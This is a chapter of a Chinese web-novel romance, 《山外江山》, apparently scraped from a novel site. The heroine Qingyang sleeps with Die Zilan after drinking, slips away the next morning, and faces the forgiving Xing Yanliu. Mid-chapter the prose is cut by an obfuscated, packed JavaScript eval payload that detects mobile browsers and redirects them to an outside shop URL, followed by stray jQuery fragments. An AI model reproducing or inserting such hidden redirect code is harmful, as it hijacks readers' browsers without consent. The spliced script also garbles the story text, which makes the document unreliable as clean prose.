102. 生疏的缠绵
作品:《山外江山》 没有疼痛,只是稍稍有些不适应而已,青炀额边汗珠滑落,蝶紫阑的热情叫她有些吃不消。
“呜……”少年的轻吟犹如天籁,他的脸颊红的不可思议,像是要滴血一样。
在外面被万千人追捧崇拜的少年心甘情愿的迷恋着身下的女子,他把自己的贞洁终于交给她了。
“从今往后……你要爱我……”没经验的两个人磨合的很快,但蝶紫阑一个性格古怪的小处男连自渎都没有过,真正接触了,才发现这事居然这么舒服。
酒意被挥发了个干净,在这万籁俱寂之刻,只有床柱摇动的声音响了一夜。
直到青炀第二天上午清醒的时候,才发现一切都被她搞砸了。
曾经和越雪也不是没在一张床上睡过,青炀迷迷糊糊中摸了一下身边人,那光滑细腻的手感让她一下就惊醒了。
还在睡着的蝶紫阑看起来非常安静可爱,纤长的睫羽停在那,水红色的唇瓣微张,海棠春睡莫过如此。
青炀悄悄地坐起来,她甚至还没穿衣服。
内衫在床下,她要是下床去拿的话,势必会惊醒蝶紫阑。
这不完了吗……都怪昨天喝多了,一时糊涂,才办了错事,而且要是让行烟柳知道,这不得扒她一层皮!
就在青炀懊恼的抱着头无声崩溃的时候,一只胳膊贴上了青炀的肩膀。
“怎么了……”办完人生大事的蝶紫阑也不发疯了,他像是只菟丝子一样,粘在了青炀身上,可惜就是他个子比青炀大,看起来有些怪异。
“昨天晚上……你舒服吗?”蝶紫阑含羞带怯的做用户回访,他的手还趁机不干不净的在青炀身上揩油。
舒服,当然是舒服的,而且有点舒服的不知天地为何物了,青炀紧张的飞速思考,自己现在应该回答什么。
说“舒服。”蝶紫阑肯定会趁机拉着她再来一次。
说“不舒服。”蝶紫阑肯定会拉着她再试试,直到试出“舒服。”两个字为止。
“哈哈……还行,挺好的。”青炀要面子,就算双腿有点合不拢,那她也坚强的裹着被子去捡衣服。
“你真讨厌。”被子只有一个,青炀裹在身上了蝶紫阑就没了,他胸口还有不少吻痕,都是昨天晚上青炀留下的。
把衣服扔给蝶紫阑,青炀看他这娇怯的样子,长叹一口气,都这样了,她就不扭扭捏捏的了。
用手帕擦干大腿内侧滑下的液体,青炀坦然的穿上了衣服,她压根就没考虑开荤之后的蝶紫阑对那事有多向往,直接忽视了身后那狼一样的目光。
“我叫人打水来吧,咱们先沐浴。”蝶紫阑脑子里想的全是鸳鸯浴,只要青炀臣服在他的美貌之下了,那她肯定会乖乖的留在苗疆陪他。
“不了,我先走了。”再不走行烟柳该满大街找人了。
“走……你走什么?”难道初夜过了之后她不应该一整天都陪着自己吗?蝶紫阑的语气多了两分软糯,可他却没有放青炀走的意思。
“回去啊,行烟柳要是看不见我的话肯定会找我。”找到这也就是时间问题。
“你还提那个丑男人!”蝶紫阑顿时拔高声调,青炀的心怎么这么冷,自己把什么都给她了,她怎么还在自己面前提那个人!
“你别走,陪陪我,好吗?我只有你了……”刚才还在质问青炀,现在却百炼钢化为绕指柔,蝶紫阑都顾不得穿衣服,他紧忙下床跑过来抱住青炀不让她走。
失去亲人,失去权力的滋味实在太恐怖了,尤其是蝶紫阑的脸,就像是匹夫无罪怀璧其罪一样,幸好那时候他的体内有母亲下的毒,让他的脸被改变了,现在他终于把一切都抓回手里,青炀已经被他放在爱人的位置上,不然昨夜他也不能那么主动。
“我就是出去一下。”其实不然,青炀也懂蝶紫阑身后的一些弯弯绕,她绝不能让别人知道她把蝶紫阑睡了,不然的话,就照着苗疆上下对蝶紫阑的这种崇拜,她作为圣族唯一的配偶,肯定跑都跑不了了。
把腰带系上,青炀整整袖子,她虽然身体还有些不舒服,但是她必须得走了。
“你别走嘛,再陪陪我,行不行?”蝶紫阑把脸埋在青炀肩膀上,温热的香气又勾起了青炀的昨夜的记忆。
青炀必须得走了,她硬起心肠把蝶紫阑的胳膊掰开,随后径直出门去。
莫名的恐惧感随着青炀的离去漫上了蝶紫阑的心,他望着青炀离开的背影,心知自己留不住她,可还是选择把自己交给她了。
他们就像是两个世界的人一样,青炀是热爱自由的鸟,而他是需要权力温养的蝴蝶。
可是没了青炀他又该怎么办呢?
昨夜的缠绵像是一场梦一样,快感过后,留给蝶紫阑的只有寂寞。
刚才收拾的太匆忙了,青炀现在用手顺头发,一边往自己的屋子走。
路上遇到来往的人她还得笑着打招呼,因为现在几乎所有人都认识她了,一个帮助圣子惩治贼人的中原女子。
怕什么来什么,青炀一推门进去,就看见行烟柳正坐在她的屋子里看书。
“你回来了。”行烟柳和往常一样,抬头和青炀打招呼。
但青炀的状态却和往常不用,她此刻正理着头发,衣服也有些乱,头上昨天戴的珠钗也不知道哪去了。
尤其是脖颈处,在一片白上,一个鲜艳的吻痕尤为明显。
“你……”行烟柳还没说完,就听见青炀急忙回了一句。
“我不是故意的,我昨天喝多了!”酒是个好东西,人们遇见什么事都往喝多上甩锅
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103830|193430||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
刚答应行烟柳和他在一起没多久,她就和蝶紫阑上床了。
但是她不是故意的啊,都是情不自禁,是她喝多了没把控住,她就是一特老实的一个女孩,她真没错啊。
也不能怪蝶紫阑引诱她,如果当时在蝶紫阑脱衣服的时候她转头就走,那现在也不会这么惭愧了。
既对不起蝶紫阑,也对不起行烟柳。
这么一想,青炀还轻松一点。
至少没有偏向谁。
刹那间,青炀的脑袋里窜出了三百个给自己开脱的借口,但碍于自尊和道德,她还是没说出来。
现在找补也晚了,木已成舟,生米煮成熟饭,鱼和熊掌不可兼得,但青炀左摇右晃,就是做不出一个选择。
与青炀的心虚害怕不一样,行烟柳看她这还知道惭愧的样子,便知道青炀的心里还是有他的,只是那蝶紫阑昨夜趁他没看住,把人带走了而已。
“坐,你有没有什么不舒服的?”行烟柳笑容温和,他就像是丝毫不介意一样,让青炀坐在他旁边。
大腿根子疼,但青炀也不说,她战战兢兢的坐到行烟柳旁边,准备接受狂风暴雨。
蝶紫阑带的走人但是带不走心,行烟柳虽然心里怒骂蝶紫阑不知廉耻勾引青炀,可青炀现在回来找他的表现还是让他很开心的,他觉得这就是青炀爱他的体现,而蝶紫阑现在已经没有筹码再来和他争抢了。
毕竟他的身子可还留着呢,不像蝶紫阑那么不稳重,而且他比青炀年长几岁,虽然没有经验,但也有自信留住青炀。
他绝不会像蝶紫阑那样,云雨过后,连留住青炀的能力都没有。
“来……”行烟柳朝着青炀伸出手,青炀也顺从的坐在了他的怀里。
“他年纪小,不懂疼人,你要是哪里不舒服了就告诉我。”行烟柳抱着青炀,他像是一个温和的兄长一样,关切着小妹的生活。
不过他更希望成为自己的妹夫就是了。
面对着温柔的行烟柳,青炀更加心惊胆战,上次俩人在她房间里打起来就够头疼的了,现在要是行烟柳因为这件事去找茬的话,那她还不如找个地缝钻进去,等这件事风波过了再出来。
“你,你真的没关系吗?”青炀已经决定了,她睡了蝶紫阑,那确实得负责,但不是现在,她还有更重要的事等着她呢。
但现在行烟柳的态度就像是蜂蜜一样,粘稠且甜蜜,丝毫要计较她酒后乱睡人的样子。
“怎么会没关系,可你年纪尚小,男人对于你来说,就像是花丛一样,偶尔停留也不过欣赏罢了,只要你心里有我,我就一直在这等着你。”行烟柳不愧为文人,巧妙的把青炀犯错给说成了贪玩。
青炀他能原谅,但蝶紫阑他就得好好收拾收拾了。

